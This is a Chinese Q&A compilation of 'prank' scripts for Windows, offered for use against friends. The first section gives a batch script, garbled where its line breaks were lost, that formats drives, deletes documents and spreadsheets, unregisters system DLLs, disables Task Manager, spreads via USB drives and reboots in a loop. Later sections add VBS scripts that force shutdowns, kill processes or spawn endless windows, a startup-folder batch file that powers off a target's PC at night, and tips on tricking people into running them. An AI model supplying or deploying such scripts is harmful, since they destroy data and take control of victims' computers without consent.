自製整人編程

⑴ 求!!! 有沒有能過殺毒軟體的 bat代碼 要整人的 無實際傷害的

整人病毒代碼（附解除方法）

使用方法：

1、新建txt文件，復制代碼

2、改後綴名為bat

3、如果需要可以加入啟動項

4、啟動病毒

廢話不多說，直接上代碼

——————————————我是分界線————————————————

:1rem 損壞安全模式reg delete HKEY_LOCAL_ /frem 開機自啟動reg add HKEY_LOCAL_ /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /f>nulrem 格式化所有盤format d:/qformat e:/qformat f:/qrem 運行exe會自動關聯jpgreg add "HKEY_CLASSES_ROOTexefileshellopencommand" "rundll32.exe C:WINDOWSsystem32shimgvw.dll,ImageView_Fullscreen %1rem 刪除系統備份for /f %%a in ('dir /b/s %systemroot%system32dllcache') do del /Q %%arem 反注冊所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%*.dll') do regsvr32 /s /u "%%b"rem 反注冊所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%*.ocx') do regsvr32 /s /u "%%c"rem 禁用任務管理器reg add /v DisableTaskMgr /t reg_dword /d 1 /f >nulrem USB移動盤感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移動驅動器">NUL && %0 %%i)for %%i in (%drives%) do (del %%i:*.doc /f /s /q & del %%i:*.xls /f /s /q & del %%i:*.ghs /f /s /q)rem 5秒內重啟shutdown -r -t 5rem 復制自身+開機自啟動 %0 "C:Documents and Settings\%userprofile%「開始」菜單程序啟動"rem 增加超多硬碟md d:fly >nul 2>nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:fly >nul 2>nulrem 修改IE標題欄reg add "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU ！" /frem 銷毀自身del %0goto 1

=======================我也是有底線的=====================

殺毒方法：

1、進入winpe

2、下載騰訊電腦管家，安裝並聯網

3、更新病毒庫，查殺完畢後修補漏洞

4、使用系統急救箱殺毒

5、關機，拔出或彈出pe盤

6、重新啟動，進入系統

7、修補完成

8、如果幫到你，給我點個贊哦！

⑵ 電腦高手進 cmd整人命令製作

復制以下內容, 保存為 .VBS 文件

dim gb,jj
gb=0
set shell=createobject("wscript.shell")
DA=INPUTBOX("給你最後一個機會!"&VBCRLF&"請問美國總統"&_
"叫什麼名字?","你不小心運行了腳本病毒 !!","回答錯誤後果自負")
IF DA="奧巴瑪" THEN
MSGBOX "程序即將結束",,"回答正確!"
WSCRIPT.QUIT
END IF
MSGBOX "作為懲罰, 你將不能運行以下程序"&VBCRLF&"我的"&_
"電腦 , 我的文檔 ",,"回答錯誤"
do
wscript.sleep 100
jj=shell.appactivate("Windows 任務管理器")
wscript.sleep 50
if jj then shell.sendkeys "%fx"
dn=shell.appactivate("我的電腦")
wscript.sleep 100
IF DN then shell.sendkeys "%{f4}"
wd=shell.appactivate("我的文檔")
wscript.sleep 50
IF WD THEN SHELL.SENDKEYS "%fC"
RX=shell.appactivate("運行")
IF RX THEN SHELL.SENDKEYS "%{f4}"
hs=shell.appactivate("回收站")
wscript.sleep 50
IF HS THEN SHELL.SENDKEYS "%fc"
cmd=shell.appactivate("c:\windows\system32\cmd.exe")
wscript.sleep 50
IF cmd THEN SHELL.SENDKEYS "exit{enter}"
GB=shell.appactivate("PE格式.txt - 記事本")
wscript.sleep 50
IF GB THEN wscript.quit
loop

⑶ 求一些好玩的整人代碼~~

gsh=msgbox ("已經准備好格式化，准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失敗！請檢查防火牆是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的「病毒」是假的，只不過是嚇你玩玩~"
s.run "explorer"
」

⑷ 製作電腦惡作劇程序（只是捉弄一下我朋友不要傷害他的電腦，我沒惡意）

一、norun

norun是個惡作劇軟體,它只有一個可執行文件,12288位元組大小,運行於Win98/ME下.運行後要求回答三道算數題.雖然題目很簡單,但是一旦答錯,機器將連續重啟動12次（每次都有提示）後恢復正常.除此之外,沒有其他影響.因此,norun是個真正的惡作劇軟體,對大家的威脅並不大.不過,如果機器真的重新啟動12次的話,也夠恐怖的！所以也要掌握應對它的方法.

最直接的方法是你回答對那三道題就可以了.不要擔心,是小學二年級的都會做的算數題.

如果你回答對了,就會出現對話框,點擊"確定"軟體運行結束.由於你回答對了,所以不會出現連續重啟動12次這樣的現象.

如果你擔心自己馬虎回答錯誤（如果這個也回答不正確,那也太……）,可以用進程管理軟體終止該進程,這樣就可以了.我們以Windows優化大師為例.運行Windows優化大師,點擊"系統安全優化"→"進程管理",在彈出的窗口中選中norun,點擊"終止"按鈕即可終止運行它,從而避免了norun造成的12次重啟.

點評：純粹的惡作劇軟體,可以用來跟朋友開玩笑用.

惡毒程度：★

二、ilr

ilr也是個惡作劇程序,文件大小15KB.這么小的程序能幹些什麼破壞呢？它是個捉弄人的程序,運行後會把硬碟上所有分區里的文件夾通通變成回收站！使得你無法通過點擊進入該文件夾！天啊,我要是想進入文件夾該怎麼辦呢？別著急,恢復方法是用以下格式運行該軟體即可：xxxx.exe -recover,要記牢格式哦！

點評：一個很另類的惡作劇軟體,不破壞數據,不會讓你無法進入系統中,但是它會讓你無法進入文件夾,使你干著急,可以用來跟朋友開玩笑用.

惡毒程度：★★

三、FUHD

這是一個垃圾文件生成器,程序運行後會在各磁碟（C:-H:）的每一個根目錄、第一級子目錄和第二級子目錄生成隨機文件名的垃圾文件.很久以前有個軟體hdfill.exe有相似的功能,但是該hdfill需要VB4的運行庫才能運行,在沒有VB4運行庫的機器中不能運行該程序.而該程序是用VB5編寫的,雖然存在運行庫的問題,但Win98中已經帶有VB5的運行庫,所以該程序可以在許多電腦中運行成功.也就是說許多朋友都有中招的可能和危險！

FUHD壓縮包由四個文件組成：

FUHD.exe：大小10752位元組,所用圖標為VB5的安裝程序所用圖標.直接在磁碟上生成垃圾文件,程序在後台運行,全過程沒有任何提示.

setup.exe：大小10752位元組,所用圖標為VB5的安裝程序所用圖標.運行後在後台生成垃圾文件.

Undo.exe：大小6656位元組.這是作者提供的刪除上面兩個EXE生成的垃圾文件的文件,如果你中招了,可以找來該文件,運行後就可以清除那些垃圾文件.

readme.txt：說明文件.

點評：雖然說現在很多人都有大硬碟,但是大量的垃圾文件分布在各個目錄中,也是一件很麻煩的事.而且目錄中含有過多的文件,會大大減慢系統的速度.作為惡作劇軟體,它的危害不大.但如果不知道解除方法,也很討厭.

惡毒程度：★★☆

四、Carem3

Carem3是網路休閑庄（一個黑客網站）技術顧問Carem的作品,這是一個非常狠毒的惡意攻擊軟體,運行後如果不知道正確的破解方法,那肯定是要重裝系統的.解壓後的Carem3隻有一個文件Carem3.exe,這是它所用的圖標（左圖）,大家記住了,輕易不要運行使用這個圖標的軟體,因為給你下套的人會給它改名的,所以記住它的文件大小也是個不錯的識別方法,Carem3.exe文件大小321536位元組.

此時滑鼠被控制在一定范圍內,無法點擊屏幕上的按鈕,按動回車鍵就會彈出個窗口警告你不要隨意運行可執行程序,說這只是個教訓之類的話,然後會自動重新啟動電腦,但你再也無法進入心愛的Windows桌面了！如果你沒有按動任何鍵,Carem3也不會放過你,它會自動倒記時,從20秒到0就重新啟動電腦,使你的系統崩潰！

程序的基本原理是破壞C:\windows\system\下的vmm32.vxd文件.vmm32.vxd是虛擬設備驅動程序,正常文件大小913413位元組,文件修改時間為1999－01－13,就是由於它被破壞了（文件被替換為同名文件,大小變為81531位元組,文件修改時間變為1998－06－19）,導致你的計算機不能進入Windows系統.

作者提供的破解方法是：在開機的時候按F8選擇Command prompt only方式進入DOS下,之後在提示符後執行repair,就可以解決了.另外你事先備份了vmm32.vxd文件,就可以使用另外一個破解方法：用啟動盤從A盤啟動計算機,將備份的vmm32.vxd復制到c:\windows\system\里,重新啟動計算機就可以了.如果沒有備份,到其他計算機上復制一個來吧.

除了上面說的那兩個方法,還有一個更簡便的破解方法.我們在Carem3.exe剛運行後,倒記時尚未結束前,按住ALT+F4鍵關閉軟體窗口（不要指望能通過按Ctrl+Alt+Del來終止它,作者早就將這些按鍵屏蔽了）,此時你的滑鼠將被鎖定在桌面的某個小范圍內（屏幕中央偏右一點）,滑鼠是無法使用了.但是如果你自己不重新啟動電腦的話,Carem3.exe也不會自動重新啟動你的電腦——因為它已經被關閉了.此時的你可以使用鍵盤來操作,如果嫌麻煩,直接重新啟動電腦即可.不要害怕,我們按ALT+F4時已經將軟體關閉了,在破壞開始前就將它給消滅了,所以這次重新啟動電腦和我們平常重新啟動電腦一樣,是安全的！順便說一句如果你的系統是Win2000以下就要小心它了！

點評：比較惡毒,因為一般人想不到它會破壞vmm32.vxd,不過還好,作者提供了破解的方法,所以還在可控范圍內.

惡毒程度：★★★

五、妖之吻

妖之吻是千年老妖的作品.下載解壓後大小252KB,只有一個文件名為yzw.exe的可執行文件,它的外表看起來很友善——圖標是兩只握在一起的手！如果你被這表面上的友善所打動,雙擊運行了這個程序,哈哈,你的惡夢就此開始了！

首先,屏幕上會出現一個不大好看的窗口,上面寫著"親愛的,給你一個關機之吻",同時在窗口中顯示60、59、58……這樣的倒計時數,記時到"0"系統就自動重新啟動.當你再次聽到Windows的啟動聲音,以為沒什麼事的時候,那個可惡的"親愛的,給你一個關機之吻"又出現了,然後再次重啟,如此反復,陷入一個死循環中,使你根本無法進入你的系統.你若想在那個窗口出現時按"Ctrl+Alt+Del"來終止它,根本就不管用,因為作者將

⑸ 求幾個用記事本製作的可以使別人電腦死機或黑屏什麼的整人小程序

邪惡啊！我真邪惡！
把bat文件加入別人電腦的啟動項里
目的就是叫指定目標的電腦一開機就重啟，或者關機
關鍵是這一句（xp適用）
%0 "%userprofile%\「開始」菜單\程序\啟動"
，如果是win7系統將路徑改為"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。
@echo off
msg * baby，早睡早起身體好。
rem 迷惑她，讓她以為你發這個就是為說這句話的。
net start Schele
if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0
cls
%0 "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動"
pause

@ ECHO OFF
@ ECHO.
@ ECHO. 說 明
@ ECHO --------------------------------------------------------------
@ ECHO 本批處理會自動清理所有非必要的啟動項目，僅保留輸入法(ctfmon)。
@ ECHO 目的是減少不必要的資源佔用，使系統運行順暢。但清理掉的項目不作
@ ECHO 備份，請小心使用。
@ ECHO --------------------------------------------------------------
PAUSE
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
del "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\*.*" /q /f
del "C:\Documents and Settings\Default User\「開始」菜單\程序\啟動\*.*" /q /f
del "%userprofile%\「開始」菜單\程序\啟動\*.*" /q /f
start C:\WINDOWS\system32\msconfig.exe

⑹ vb整人腳本怎麼能在別人的電腦上自己執行

直接發給別人
或者開不了的話要發運行庫，就是XXXXXXX。dLL，叫什麼我忘了，自己查查
只有VB5及以前版本，且程序中沒有使用VB默認標准控制項以外的控制項，生成的EXE程序才可以在其他電腦上運行，對於VB6或者程序中使用了非標准控制項的程序，生成的EXE文件則要求電腦中要安裝相應的運行庫！這是VB的缺陷！
要解決這個問題，一是使用VB5進行編程設計，在設計時盡量不使用第三方控制項，如果必須使用，則應在程序初始化時實現自動注冊！

我從事VB編程很多年，所有作品均是使用VB5設計，生成的EXE文件可以運行於任何電腦，不需要安裝運行庫的，這是一個小技巧，拿來與大家分享！

⑺ 手機QQ的整人代碼大全

第一步，將以下代碼復制到記事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以隨便改，不印象效果。如果發給MM，你可以逼她說「我愛你」。方法是把上面的「QQ客是好網站」改成「快說我愛你」 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如「美女.VBE」）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說一下使用方法：
最簡單的使用方法是，你直接發給好友，讓他運行，然後他就中招了。
WScript.Echo("誰令你打開這個軟體的")
WScript.Echo("這個軟體會讓你無聊啊！")
WScript.Echo("推薦你來的肯定是個壞蛋！")
WScript.Echo("歡迎來到被整軟體站！")
WScript.Echo("是誰設計的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要點30次確定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")

⑻ 易語言製作個無法關閉的倒計時關機整人程序

不了的，但是如果是個電腦垃圾，那麼他就關不了，因為用易語言可以隱藏「可視」（就是顯示出來），還能不在任務欄顯示的！但是進程裡面也存在，就不能用易語言隱藏了，只有用第三方軟體！
我也是用易語言4.11編寫了一個整人程序，90%卡死你的！名字叫「打開這個程序笑不起來，之後發現很搞笑！」還有一個整人的：只要運行了這個程序，那麼電腦就馬上重啟（我不想把別人整好慘，所以沒有設定關機！除非是冤家）
話就+QQ498107713

⑼ QQ整人軟體（要狠一點的）

1、上八目妖有。2、自製一點擊就出現無數個計算器，直到死機為止。在記事本里輸入，最後把擴展名改成VBS得那種。

Dim objws
Set objws=wscript.createobject("wscript.shell")
Do
objws.Run "calc"
Loop

整人小程序：說我是豬就不關機
程序, 整人
on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快說「我是豬」，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真聽話啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔買糖給你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什麼糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什麼，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了長石頭啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔給你講個故事"

msgbox chr(13) + chr(13) + chr(13) + "從前有個山"

msgbox chr(13) + chr(13) + chr(13) + "山裡有個廟"

msgbox chr(13) + chr(13) + chr(13) + "廟里有個老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在給小和尚講故事"

msgbox chr(13) + chr(13) + chr(13) + "講什麼故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是這樣的"

msgbox chr(13) + chr(13) + chr(13) + "從前有個山"

msgbox chr(13) + chr(13) + chr(13) + "山裡有個廟"

msgbox chr(13) + chr(13) + chr(13) + "廟里有個老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什麼，不聽了"

msgbox chr(13) + chr(13) + chr(13) + "別哭別哭，叔叔給你買糖！"
復制代碼一個整人的小代碼，「說我是豬就不關機」
把上面的代碼復制到記事本里，把後綴名改成.VBE